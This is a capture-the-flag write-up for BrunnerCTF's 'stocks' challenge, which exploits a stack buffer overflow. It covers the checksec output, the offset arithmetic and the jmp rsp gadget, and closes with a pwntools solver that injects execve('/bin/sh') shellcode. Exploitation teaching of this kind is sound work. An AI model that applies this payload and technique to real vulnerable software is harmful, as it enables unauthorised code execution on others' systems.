← Back to Writeups
PWNMedium2026

Pwn — Brunner Stocks

#bufferoverflow#ret2shellcode

Challenge Info

Name: stocks
Event: BrunnerCTF
Author: Vincent
Points: 100

Overview

$ checksec --file=stocks

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)

The binary has Partial RELRO, no stack canary, NX disabled, and no PIE, allowing us to overwrite the return address, execute shellcode directly on the stack, and use fixed binary addresses without needing a PIE leak.

Vulnerability

After decompiling the binary, we find that main() eventually calls the following function:

c
float askf(char *prompt)
{
    printf("%s (0.0-100.0): ", prompt);
    char buf[0x10];
    fgets(buf, 0x100, stdin);
    return atof(buf);
}

buf is only 16 bytes long, but fgets is allowed to read up to 0x100 (256) bytes into it.

This creates a classic stack-based buffer overflow, we can write far beyond the buffer's boundaries and overwrite the saved return address, giving us control over the program's execution flow.

The author even provides a convenient jump point at the bottom of the source:

c
void gadget()
{
    __asm__("jmp %rsp; ret;");
}

This gives us a dedicated jmp rsp gadget, which redirects execution to the address currently stored in RSP. Since our payload is placed on the stack, this is exactly what we need to jump straight into it and execute our shellcode.

Exploitation

The exploitation plan is a straightforward NX-disabled ret2shellcode:

1 . Overflow buf and overwrite the saved return address with the address of the jmp rsp gadget.

2 . When askf() returns, execution jumps to jmp rsp, which redirects execution to the stack immediately after the overwritten return address.

3 . Place execve("/bin/sh") shellcode there and obtain a shell.

We can calculate the required offset directly from the askf disassembly:

asm
4011aa: sub rsp, 0x20
4011cf: lea rax, [rbp-0x10]    ; buf = rbp-0x10

Since buf starts at rbp-0x10, the saved RBP is at rbp, and the saved return address is at rbp+8, the distance to the return address is:

0x10 + 8 = 24 bytes

So our payload begins with 24 bytes of padding, followed by the jmp rsp address.

The gadget itself is located at:

asm
401597: ff e4    jmp rsp

Solver

python
from pwn import *

context.arch = 'amd64'
p = process("./stocks")

OFFSET = 24
JMP_RSP = 0x401597
shellcode = bytes.fromhex("4831f65648bf2f62696e2f2f736857545f6a3b58990f05")
payload = b"A" * OFFSET + p64(JMP_RSP) + shellcode
p.sendlineafter(b": ", payload)
p.interactive()

Flag

brunner{REDACTED}